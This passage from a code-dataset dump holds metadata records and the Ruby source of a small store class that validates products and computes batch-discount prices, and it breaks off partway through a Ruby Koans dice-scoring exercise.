"e3d295fd1ca759b726a27acc6db9336c487b4d5c", "url": "https://github.com/CasJam/exampleapp4/blob/e3d295fd1ca759b726a27acc6db9336c487b4d5c/app/services/kit_service.rb"}, "gpt4o_tokens": 1558, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9308148548941865, "noise_severity": 0.01288592402390375, "missing_content_severity": 0.0030105933342656818, "factual_density": 3.2545742289353305, "pretraining_utility": 0.6232291796448542, "math_density": 0.007271653875617891, "code_density": 3.715985735013204, "reasoning_density": 0.7544336674688144, "education_level": 2.3110073811169944, "creative_writing_quality": -0.03780452223599226}, "score_applicability": {"education_level": 0.9992281571456265, "creative_writing_quality": 0.0015364991035163936}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/AnneTheAgile/bc-ruby/blob/dd353f61956cf5b91fb86193dd4524015f74fbb3/lib/store.rb", "id": "ruby-0-793532ca8a4ec39726cefd0d4f7085e2", "text": "# C:\\amsrc\\rmtry\\lib\\store.rb\r\nrequire './lib/cart'\r\nrequire './lib/store'\r\nrequire './lib/money'\r\n\r\nmodule Store\r\n\r\n # The reference to each Product's Name (ID) and Price list data, based dollars using whole pennies. (A Controller)\r\n class Store\r\n\r\n def initialize()\r\n @products = []\r\n end\r\n\r\n def product_attributes\r\n [:id, :price, :numberForBatchDiscount, :batchPrice]\r\n end\r\n\r\n def add_product_map(aMap)\r\n #print \"-AddProd Got map=#{aMap.to_s}\"\r\n add_product(\r\n aMap[:id],\r\n aMap[:price],\r\n aMap[:numberForBatchDiscount],\r\n aMap[:batchPrice]\r\n )\r\n end\r\n\r\n # To @products, add the given data as a map, where price is in dollars.\r\n def add_product(aItemId, aPrice, aMinimumBatchQuantity=0, aBatchPrice=0.0)\r\n validAsProduct(aItemId, aPrice, aMinimumBatchQuantity, aBatchPrice)\r\n new_item = Hash[\r\n :id=> aItemId,\r\n :price=> (Money::Money.new).add( aPrice),\r\n :numberForBatchDiscount => Integer(aMinimumBatchQuantity), # ISSUE#01\r\n :batchPrice=> (Money::Money.new).add( aBatchPrice)\r\n ]\r\n @products = @products << new_item\r\n end\r\n\r\n # Ascertain that the given arguments are suitable to create a Product.\r\n def validAsProduct(aItemId, aPrice, aMinimumBatchQuantity, aBatchPrice)\r\n validAsProductID(aItemId)\r\n raise \"Duplicate products are not allowed in the store.\" if find_product?(aItemId)\r\n\r\n validAsRetailPrice(aPrice)\r\n validAsBatchQuantity(aMinimumBatchQuantity)\r\n validAsBatchPrice(aBatchPrice)\r\n validate_sensible_discount(aBatchPrice, aMinimumBatchQuantity)\r\n end\r\n\r\n def validate_sensible_discount(aBatchPrice, aMinimumBatchQuantity)\r\n raise \"Argument aBatchPrice #{aBatchPrice} was not specified but aMinimumBatchQuantity #{aMinimumBatchQuantity} was.\" if (aBatchPrice == 0 and aMinimumBatchQuantity != 0)\r\n end\r\n\r\n # A valid product ID is a string of LT 5 characters.\r\n def validAsProductID (aStr)\r\n raise \"Argument #{aStr} is not a string.\" if aStr.class != String\r\n raise \"Argument #{aStr} is longer than 5 characters.\" if aStr.to_s.length > 5\r\n raise \"Argument '#{aStr}' contains whitespace.\" if (aStr =~ /\\s/) != nil\r\n raise \"Argument '#{aStr}' contains special non-word characters.\" if (aStr =~ /\\W/) != nil\r\n end\r\n\r\n def validAsBatchQuantity(aNumber)\r\n Money::Money.new.validAsNonNegativeFiniteNumber(aNumber)\r\n # Check if a Text number is non-integer by checking if it raises an error upon cast.\r\n Integer(aNumber) rescue raise \"Argument #{aNumber} is not castable to an integer.\"\r\n # Check if a Numeric value is non-integer by checking if it is Truncated upon cast.\r\n raise \"Argument #{aNumber} is not an integer.\" if Integer(aNumber) != Float(aNumber)\r\n end\r\n\r\n def validAsRetailPrice(aPrice)\r\n validAsBatchPrice(aPrice)\r\n raise \"Argument '#{aPrice}' must not be zero.\" if aPrice == 0\r\n end\r\n\r\n def validAsBatchPrice(aPrice)\r\n Money::Money.new.validAsDollars(aPrice)\r\n end\r\n\r\n def clear_products_list()\r\n @products = []\r\n end\r\n\r\n def count_products()\r\n @products.size\r\n end\r\n\r\n # Validate that the given aProductId is in the store. (Boolean)\r\n def find_product? (aProductId)\r\n return false if (find_product(aProductId) == {})\r\n return true\r\n end\r\n\r\n # Return the Product map for the given aProductId, if it is in the store, or the empty map, {}, if not.\r\n def find_product (aProductId)\r\n validAsProductID(aProductId) rescue return {}\r\n @products.each { |aMap| return aMap if aMap[:id]==aProductId }\r\n return {}\r\n end\r\n\r\n def product_list_showing_prices_in_dollars\r\n @products.to_s\r\n end\r\n\r\n def report\r\n product_list_showing_prices_in_dollars\r\n end\r\n\r\n # Using the algorithm that only complete sets are discounted, any extra items are charged full price, get the total bill for the given quantity of the given product.\r\n def minimal_price_in_dollars(aProduct, aQtyToBuy)\r\n stdPrice = aProduct[:price]\r\n discPrice = aProduct[:batchPrice]\r\n discQty = aProduct[:numberForBatchDiscount]\r\n\r\n case discPrice\r\n when 0\r\n leftovers = aQtyToBuy\r\n batches = 0\r\n else\r\n leftovers = aQtyToBuy % discQty\r\n batches = (aQtyToBuy - leftovers) / discQty\r\n end\r\n price = (discPrice * batches) + (stdPrice * leftovers)\r\n #print \"--minimal= (#{discPrice} * #{batches}) + (#{stdPrice} * #{leftovers}) == #{price}\"\r\n price\r\n end\r\n\r\n # Return the total price for the given aQuantity of aId products and use the minimal discount.\r\n def price_in_dollars_for_quantity(aId, aQuantity=1)\r\n product = find_product(aId)\r\n raise \"No such product in the store: #{aId.to_s} with quantity= #{aQuantity.to_s}.\" if product=={}\r\n return (minimal_price_in_dollars(product,aQuantity))\r\n end\r\n end\r\nend", "text_preview": "# C:\\amsrc\\rmtry\\lib\\store.rb require './lib/cart' require './lib/store' require './lib/money' module Store # The reference to each Product's Name (ID) and Price list data, based dollars using whole pennies. (A Controller) class Store def i", "input_sha256": "680e7e2803da22afef6f75b2cd1900b0d5e74c840d1e3039614fff436d5e52d5", "text_sha256": "793532ca8a4ec39726cefd0d4f7085e2a47cad767edb21b7629e3447ba1bfa6b", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16098, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 1, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.5086140518675638, "noise_severity": 0.22610563573637327, "missing_content_severity": 0.0390897329117635, "factual_density": 3.4828498596165685, "pretraining_utility": 0.4904693520141224, "math_density": 1.775305065991076, "code_density": 3.8820370025673543, "reasoning_density": 1.1871314351115008, "education_level": 1.963379332313603, "creative_writing_quality": -0.42889400646796744}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007346125506026646, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9975713308609722, "secondary": 0.9832769330038738, "tertiary": 0.990942455271032, "structured_records": 0.024058344281610182, "procedural_steps": 0.013534796881297228, "worked_solution": 0.009273084912954444, "contextual_dialogue": 5.242358386475824e-06, "content_quality": 0.4091876142984765, "noise_severity": 0.8115786368863557, "missing_content_severity": 0.9674252225735304, "factual_density": 0.5690415496804736, "pretraining_utility": 0.44448981928148423, "math_density": 0.15122686562530163, "code_density": 0.9016975021394616, "reasoning_density": 0.010723804073749288, "education_level": 0.7901632646850164, "creative_writing_quality": 0.9994532431063087, "primary_topic": 0.9886069766608666, "secondary_topic": 0.7736926507625487}, "probability_margin": {"primary": 0.9966270090761531, "secondary": 0.9761076867088904, "tertiary": 0.9872756195623387, "education_level": 0.7218010249753997, "creative_writing_quality": 0.999349650022014, "primary_topic": 0.9817738537675647, "secondary_topic": 0.6093395180559514}, "raw_probabilities": {"primary": {"Academic Writing": 2.919359838093241e-05, "Content Listing": 1.7533013654122917e-05, "Creative Writing": 1.3332626831984695e-05, "Customer Support Page": 7.184775570842878e-06, "Q&A Forum": 9.359317721444175e-06, "Discussion Thread": 5.915425886272242e-06, "Comment Section": 9.106835696437762e-06, "Missing Content": 2.0173505539123735e-05, "Knowledge Article": 7.916360247892889e-05, "Legal Notices": 2.1478414919983818e-05, "News Article": 3.4236666592118635e-06, "Organizational Announcement": 8.460560953798322e-06, "Nonfiction Writing": 1.0219194730685171e-05, "Organizational About Page": 1.0372696896779677e-05, "Personal About Page": 1.0443393744476776e-05, "Personal Blog": 5.571788742139336e-06, "Product Page": 1.125685233420123e-05, "Spam / Ads": 8.285137552071592e-06, "Structured Data": 0.0007331040031885418, "Technical Writing": 0.9976725254084317, "Transcript / Interview": 1.1372124507403188e-05, "Tutorial / How-To Guide": 0.00025120620311618546, "User Reviews": 5.801520184210361e-06, "Other / Unknown": 0.0010455163322785268}, "secondary": {"Academic Writing": 0.00011915384314394964, "Content Listing": 0.00011636961796783806, "Creative Writing": 9.179872482739994e-05, "Customer Support Page": 5.897572678769268e-05, "Q&A Forum": 3.287993601392619e-05, "Discussion Thread": 2.900512595228665e-05, "Comment Section": 5.421452880533804e-05, "Missing Content": 0.0002411392032062788, "Knowledge Article": 0.0004934710028047958, "Legal Notices": 0.00011829808547514645, "News Article": 4.165566084188631e-05, "Organizational Announcement": 4.23254647049185e-05, "Nonfiction Writing": 5.365078947851884e-05, "Organizational About Page": 5.826590754588483e-05, "Personal About Page": 4.794946423224287e-05, "Personal Blog": 4.0914219972882244e-05, "Product Page": 4.5047596473458927e-05, "Spam / Ads": 5.093219227662888e-05, "Structured Data": 0.005185424093605909, "Technical Writing": 0.00786604075315529, "Transcript / Interview": 5.760667123075123e-05, "Tutorial / How-To Guide": 0.001156277731118287, "User Reviews": 2.4876198333050677e-05, "NONE": 0.9839737274620457}, "tertiary": {"Academic Writing": 8.013792943190649e-05, "Content Listing": 0.00010006552357511978, "Creative Writing": 7.891838245847543e-05, "Customer Support Page": 3.990681304511745e-05, "Q&A Forum": 2.4778112932885278e-05, "Discussion Thread": 2.1607413073459313e-05, "Comment Section": 4.705244493231767e-05, "Missing Content": 0.00030925094086999325, "Knowledge Article": 0.00043453902954461616, "Legal Notices": 0.00016399886342745553, "News Article": 3.4059852581608645e-05, "Organizational Announcement": 3.535594889546237e-05, "Nonfiction Writing": 4.723658047071928e-05, "Organizational About Page": 5.576851706012201e-05, "Personal About Page": 3.4541161883011147e-05, "Personal Blog": 3.230048289520084e-05, "Product Page": 4.495724855194445e-05, "Spam / Ads": 4.718048360792669e-05, "Structured Data": 0.002018838117819492, "Technical Writing": 0.004044233405733665, "Transcript / Interview": 4.268271239190531e-05, "Tutorial / How-To Guide": 0.0009218635341766691, "User Reviews": 2.0873532568582033e-05, "NONE": 0.9913198529680723}, "structured_records": {"false": 0.9759416557183899, "true": 0.024058344281610182}, "procedural_steps": {"false": 0.9864652031187028, "true": 0.013534796881297228}, "worked_solution": {"false": 0.9907269150870456, "true": 0.009273084912954444}, "contextual_dialogue": {"false": 0.9999947576416135, "true": 5.242358386475824e-06}, "content_quality": {"-2": 0.01599014014821011, "-1": 0.10429287850629772, "0": 0.3436242280299064, "1": 0.4272982959608897, "2": 0.10879445735469605}, "noise_severity": {"0": 0.7869650918332414, "1": 0.2039503183819292, "2": 0.00630113816479655, "3": 0.0015807654552795298, "4": 0.0012026861647530794}, "missing_content_severity": {"0": 0.9740783949408156, "1": 0.015785856681236124, "2": 0.007627916202363365, "3": 0.0019832848765389145, "4": 0.0005245472990459757}, "factual_density": {"0": 0.002921219371406162, "1": 0.005683282340340143, "2": 0.06952384564490527, "3": 0.349367724586976, "4": 0.5725039280563724}, "pretraining_utility": {"-2": 0.008996586201600895, "-1": 0.08132565136042956, "0": 0.39843037109838647, "1": 0.43270660690141255, "2": 0.07854078443817067}, "math_density": {"0": 0.12161134762928094, "1": 0.34260422063028984, "2": 0.2959492098721455, "3": 0.11853846185663977, "4": 0.12129676001164397}, "code_density": {"0": 0.00023383180363605743, "1": 0.0004662272494316109, "2": 0.014600815798343188, "3": 0.0864273568731206, "4": 0.8982717682754686}, "reasoning_density": {"0": 0.4605291440127694, "1": 0.14848287504814278, "2": 0.21005464496155116, "3": 0.10519407376989075, "4": 0.07573926220764587}, "education_level": {"none": 0.0015546131405543195, "0": 0.0024266103393172623, "1": 0.10333502892878063, "2": 0.8251360539041803, "3": 0.0634708744821155, "4": 0.004076819205051872}, "creative_writing_quality": {"not_applicable": 0.9995443692552572, "-2": 7.053971783772804e-05, "-1": 0.00013088861089592218, "0": 0.0001947192332432412, "1": 4.24156145433e-05, "2": 1.706756822266532e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.951394451186583e-05, "Art & Design": 3.776837294958857e-05, "Law & Crime": 3.405256674401261e-05, "Education & Careers": 3.9119746077015885e-05, "Entertainment & Media": 2.7530282580265864e-05, "Fashion & Beauty": 2.6860402496420352e-05, "Business, Economics & Finance": 0.007271316098653253, "Food & Dining": 6.637468840301203e-05, "Games & Gaming": 0.0006274788356990673, "Electronics & Hardware": 6.022518352680914e-05, "Health, Healthcare & Wellness": 2.4425708865292143e-05, "History & Geography": 3.3068348567990385e-05, "Home, Pets & Hobbies": 3.569687592329083e-05, "Industry & Production": 8.940272253205611e-05, "Language, Literature & Philosophy": 3.8986543108202965e-05, "Politics & Government": 1.9761592416261537e-05, "Religion & Spirituality": 3.151070544814863e-05, "Science, Mathematics & Engineering": 0.0007882493973137261, "Relationships & Community": 1.6245988806159115e-05, "Software Usage & Applications": 0.0005076015035126073, "Programming & Software Engineering": 0.9890451698662179, "Sports & Fitness": 3.8583853497976504e-05, "Vehicles & Transportation": 3.3762105409983395e-05, "Travel & Tourism": 4.103895887984751e-05, "Other / Uncovered Subject": 0.0009521368797327731, "Unknown / Insufficient Content": 8.411882812638166e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006898785176752588, "Art & Design": 0.0005291636491472542, "Law & Crime": 0.0007956261450847536, "Education & Careers": 0.00044497833999365547, "Entertainment & Media": 0.000470334254318259, "Fashion & Beauty": 0.0003254474096518671, "Business, Economics & Finance": 0.1730572615234223, "Food & Dining": 0.0005170271152383127, "Games & Gaming": 0.0017000240761434464, "Electronics & Hardware": 0.0004426236408417584, "Health, Healthcare & Wellness": 0.00029336966986901565, "History & Geography": 0.00032215792159359094, "Home, Pets & Hobbies": 0.00033670638552457747, "Industry & Production": 0.0004342105385416628, "Language, Literature & Philosophy": 0.0002593583400460795, "Politics & Government": 0.0002222408428945597, "Religion & Spirituality": 0.0003876808597677265, "Science, Mathematics & Engineering": 0.004499173693157726, "Relationships & Community": 0.00016439915660874805, "Software Usage & Applications": 0.001887813484176812, "Programming & Software Engineering": 0.027291432307990214, "Sports & Fitness": 0.00023337276001628984, "Vehicles & Transportation": 0.00019469924792246178, "Travel & Tourism": 0.0003727997069228251, "Other / Uncovered Subject": 0.00173144083407707, "NONE": 0.7823967795793737}}, "probabilities": {"primary": {"Academic Writing": 2.919359838093241e-05, "Content Listing": 1.7533013654122917e-05, "Creative Writing": 1.3332626831984695e-05, "Customer Support Page": 7.184775570842878e-06, "Q&A Forum": 9.359317721444175e-06, "Discussion Thread": 5.915425886272242e-06, "Comment Section": 9.106835696437762e-06, "Missing Content": 2.0173505539123735e-05, "Knowledge Article": 7.916360247892889e-05, "Legal Notices": 2.1478414919983818e-05, "News Article": 3.4236666592118635e-06, "Organizational Announcement": 8.460560953798322e-06, "Nonfiction Writing": 1.0219194730685171e-05, "Organizational About Page": 1.0372696896779677e-05, "Personal About Page": 1.0443393744476776e-05, "Personal Blog": 5.571788742139336e-06, "Product Page": 1.125685233420123e-05, "Spam / Ads": 8.285137552071592e-06, "Structured Data": 0.0007331040031885418, "Technical Writing": 0.9976725254084317, "Transcript / Interview": 1.1372124507403188e-05, "Tutorial / How-To Guide": 0.00025120620311618546, "User Reviews": 5.801520184210361e-06, "Other / Unknown": 0.0010455163322785268}, "secondary": {"Academic Writing": 0.00011915384314394964, "Content Listing": 0.00011636961796783806, "Creative Writing": 9.179872482739994e-05, "Customer Support Page": 5.897572678769268e-05, "Q&A Forum": 3.287993601392619e-05, "Discussion Thread": 2.900512595228665e-05, "Comment Section": 5.421452880533804e-05, "Missing Content": 0.0002411392032062788, "Knowledge Article": 0.0004934710028047958, "Legal Notices": 0.00011829808547514645, "News Article": 4.165566084188631e-05, "Organizational Announcement": 4.23254647049185e-05, "Nonfiction Writing": 5.365078947851884e-05, "Organizational About Page": 5.826590754588483e-05, "Personal About Page": 4.794946423224287e-05, "Personal Blog": 4.0914219972882244e-05, "Product Page": 4.5047596473458927e-05, "Spam / Ads": 5.093219227662888e-05, "Structured Data": 0.005185424093605909, "Technical Writing": 0.00786604075315529, "Transcript / Interview": 5.760667123075123e-05, "Tutorial / How-To Guide": 0.001156277731118287, "User Reviews": 2.4876198333050677e-05, "NONE": 0.9839737274620457}, "tertiary": {"Academic Writing": 8.013792943190649e-05, "Content Listing": 0.00010006552357511978, "Creative Writing": 7.891838245847543e-05, "Customer Support Page": 3.990681304511745e-05, "Q&A Forum": 2.4778112932885278e-05, "Discussion Thread": 2.1607413073459313e-05, "Comment Section": 4.705244493231767e-05, "Missing Content": 0.00030925094086999325, "Knowledge Article": 0.00043453902954461616, "Legal Notices": 0.00016399886342745553, "News Article": 3.4059852581608645e-05, "Organizational Announcement": 3.535594889546237e-05, "Nonfiction Writing": 4.723658047071928e-05, "Organizational About Page": 5.576851706012201e-05, "Personal About Page": 3.4541161883011147e-05, "Personal Blog": 3.230048289520084e-05, "Product Page": 4.495724855194445e-05, "Spam / Ads": 4.718048360792669e-05, "Structured Data": 0.002018838117819492, "Technical Writing": 0.004044233405733665, "Transcript / Interview": 4.268271239190531e-05, "Tutorial / How-To Guide": 0.0009218635341766691, "User Reviews": 2.0873532568582033e-05, "NONE": 0.9913198529680723}, "structured_records": {"false": 0.9759416557183899, "true": 0.024058344281610182}, "procedural_steps": {"false": 0.9864652031187028, "true": 0.013534796881297228}, "worked_solution": {"false": 0.9907269150870456, "true": 0.009273084912954444}, "contextual_dialogue": {"false": 0.9999947576416135, "true": 5.242358386475824e-06}, "content_quality": {"-2": 0.01599014014821011, "-1": 0.10429287850629772, "0": 0.3436242280299064, "1": 0.4272982959608897, "2": 0.10879445735469605}, "noise_severity": {"0": 0.7869650918332416, "1": 0.20395031838192926, "2": 0.006301138164796552, "3": 0.0015807654552795303, "4": 0.0012026861647530796}, "missing_content_severity": {"0": 0.9740783949408156, "1": 0.015785856681236124, "2": 0.007627916202363365, "3": 0.0019832848765389145, "4": 0.0005245472990459757}, "factual_density": {"0": 0.002921219371406162, "1": 0.005683282340340143, "2": 0.06952384564490527, "3": 0.349367724586976, "4": 0.5725039280563724}, "pretraining_utility": {"-2": 0.008996586201600893, "-1": 0.08132565136042955, "0": 0.39843037109838636, "1": 0.43270660690141244, "2": 0.07854078443817065}, "math_density": {"0": 0.12161134762928094, "1": 0.34260422063028984, "2": 0.2959492098721455, "3": 0.11853846185663977, "4": 0.12129676001164397}, "code_density": {"0": 0.00023383180363605743, "1": 0.0004662272494316109, "2": 0.014600815798343188, "3": 0.0864273568731206, "4": 0.8982717682754686}, "reasoning_density": {"0": 0.4605291440127694, "1": 0.14848287504814278, "2": 0.21005464496155116, "3": 0.10519407376989075, "4": 0.07573926220764587}, "education_level": {"none": 0.0015546131405543197, "0": 0.0024266103393172627, "1": 0.10333502892878065, "2": 0.8251360539041804, "3": 0.06347087448211551, "4": 0.004076819205051873}, "creative_writing_quality": {"not_applicable": 0.9995443692552572, "-2": 7.053971783772804e-05, "-1": 0.00013088861089592218, "0": 0.0001947192332432412, "1": 4.24156145433e-05, "2": 1.706756822266532e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.9513944511865834e-05, "Art & Design": 3.776837294958858e-05, "Law & Crime": 3.405256674401262e-05, "Education & Careers": 3.911974607701589e-05, "Entertainment & Media": 2.7530282580265867e-05, "Fashion & Beauty": 2.6860402496420355e-05, "Business, Economics & Finance": 0.007271316098653254, "Food & Dining": 6.637468840301204e-05, "Games & Gaming": 0.0006274788356990675, "Electronics & Hardware": 6.022518352680915e-05, "Health, Healthcare & Wellness": 2.4425708865292146e-05, "History & Geography": 3.306834856799039e-05, "Home, Pets & Hobbies": 3.5696875923290834e-05, "Industry & Production": 8.940272253205613e-05, "Language, Literature & Philosophy": 3.898654310820297e-05, "Politics & Government": 1.976159241626154e-05, "Religion & Spirituality": 3.1510705448148636e-05, "Science, Mathematics & Engineering": 0.0007882493973137262, "Relationships & Community": 1.624598880615912e-05, "Software Usage & Applications": 0.0005076015035126074, "Programming & Software Engineering": 0.989045169866218, "Sports & Fitness": 3.858385349797651e-05, "Vehicles & Transportation": 3.37621054099834e-05, "Travel & Tourism": 4.1038958879847515e-05, "Other / Uncovered Subject": 0.0009521368797327732, "Unknown / Insufficient Content": 8.411882812638167e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006898785176752589, "Art & Design": 0.0005291636491472543, "Law & Crime": 0.0007956261450847537, "Education & Careers": 0.0004449783399936555, "Entertainment & Media": 0.00047033425431825904, "Fashion & Beauty": 0.00032544740965186715, "Business, Economics & Finance": 0.17305726152342232, "Food & Dining": 0.0005170271152383128, "Games & Gaming": 0.0017000240761434466, "Electronics & Hardware": 0.00044262364084175846, "Health, Healthcare & Wellness": 0.0002933696698690157, "History & Geography": 0.000322157921593591, "Home, Pets & Hobbies": 0.0003367063855245775, "Industry & Production": 0.00043421053854166285, "Language, Literature & Philosophy": 0.00025935834004607957, "Politics & Government": 0.00022224084289455972, "Religion & Spirituality": 0.0003876808597677266, "Science, Mathematics & Engineering": 0.004499173693157727, "Relationships & Community": 0.00016439915660874807, "Software Usage & Applications": 0.0018878134841768123, "Programming & Software Engineering": 0.027291432307990218, "Sports & Fitness": 0.00023337276001628987, "Vehicles & Transportation": 0.0001946992479224618, "Travel & Tourism": 0.0003727997069228252, "Other / Uncovered Subject": 0.0017314408340770703, "NONE": 0.7823967795793738}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9806, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9806, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:16.917324+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "fad34db2-935f-410b-9397-f7129df9126e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "a13ef8bcc901564c5d784af4f956062296fc00612592bae168e98b1682734d4d", "source_metadata": {"uuid": "fad34db2-935f-410b-9397-f7129df9126e", "repo_name": "AnneTheAgile/bc-ruby", "relative_path": "lib/store.rb", "category": "TOOL", "algo_rel_score": 0.9839372038841248, "quality_score": 3.243522882461548, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 38, "repo_created_at": "2014-02-13T18:30:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 7, "pull_requests": 0}, "file_meta": {"content_id": "0d82eee7dfc5442e600d4a2e80c62d1c9f08d329", "size_bytes": 4979, "file_timestamp": 1392346254, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "dd353f61956cf5b91fb86193dd4524015f74fbb3"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 38, "repo_created_at": "2014-02-13T18:30:31.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 7, "pull_requests": 0}, "file_meta": {"content_id": "0d82eee7dfc5442e600d4a2e80c62d1c9f08d329", "size_bytes": 4979, "file_timestamp": 1392346254, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "dd353f61956cf5b91fb86193dd4524015f74fbb3", "url": "https://github.com/AnneTheAgile/bc-ruby/blob/dd353f61956cf5b91fb86193dd4524015f74fbb3/lib/store.rb"}, "gpt4o_tokens": 1253, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5086140518675638, "noise_severity": 0.22610563573637327, "missing_content_severity": 0.0390897329117635, "factual_density": 3.4828498596165685, "pretraining_utility": 0.49046935201412245, "math_density": 1.775305065991076, "code_density": 3.8820370025673543, "reasoning_density": 1.1871314351115008, "education_level": 1.963379332313603, "creative_writing_quality": -0.42889400646796744}, "score_applicability": {"education_level": 0.9984453868594457, "creative_writing_quality": 0.00045563074474285674}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/rserur/Ruby-Koans/blob/f45b0af49657f1c9a72d2ee1df1ef755145d91d6/about_scoring_project.rb", "id": "ruby-0-610d2e436830358d5b0f8b8e10ea8067", "text": "require File.expand_path(File.dirname(__FILE__) + '/neo')\n\n# Greed is a dice game where you roll up to five dice to accumulate\n# points. The following \"score\" function will be used to calculate the\n# score of a single roll of the dice.\n#\n# A greed roll is scored as follows:\n#\n# * A set of three ones is 1000 points\n#\n# * A set of three numbers (other than ones) is worth 100 times the\n# number. (e.g. three fives is 500 points).\n#\n# * A one (that is not part of a set of three) is worth 100 points.\n#\n# * A five (that is not part of a set of three) is worth 50 points.\n#\n# * Everything else is worth 0 points.\n#\n#\n# Examples:\n#\n# score([1,1,1,5,1]) => 1150 points\n# score([2,3,4,6,2]) => 0 points\n# score([3,4,5,3,3]) => 350 points\n# score([1,5,1,2,4]) => 250 points\n#\n# More scoring examples are given in the tests below:\n#\n# Your goal is to write the score method.\n\ndef score(dice)\n\n score = 0\n ones = 0\n nums = dice.uniq\n\n # count ones\n dice.each do |die|\n if die == 1\n ones +=1\n end\n end\n\n # 3 ones = 1000\n if ones == 3\n score += 1000\n\n # More than 3 ones equals 1000 plus 100 each additional one\n elsif ones > 3\n score += 1000\n ones -= 3\n score += ones * 100\n # Less than 3 ones equals 100 * # of ones\n elsif ones < 3\n score += ones * 100\n end\n\n # Score non-ones\n nums.each do |num|\n\n # Variable for frequency of number\n num_frequency = dice.count(num)\n\n # If frequency of non-one is 3, add num * 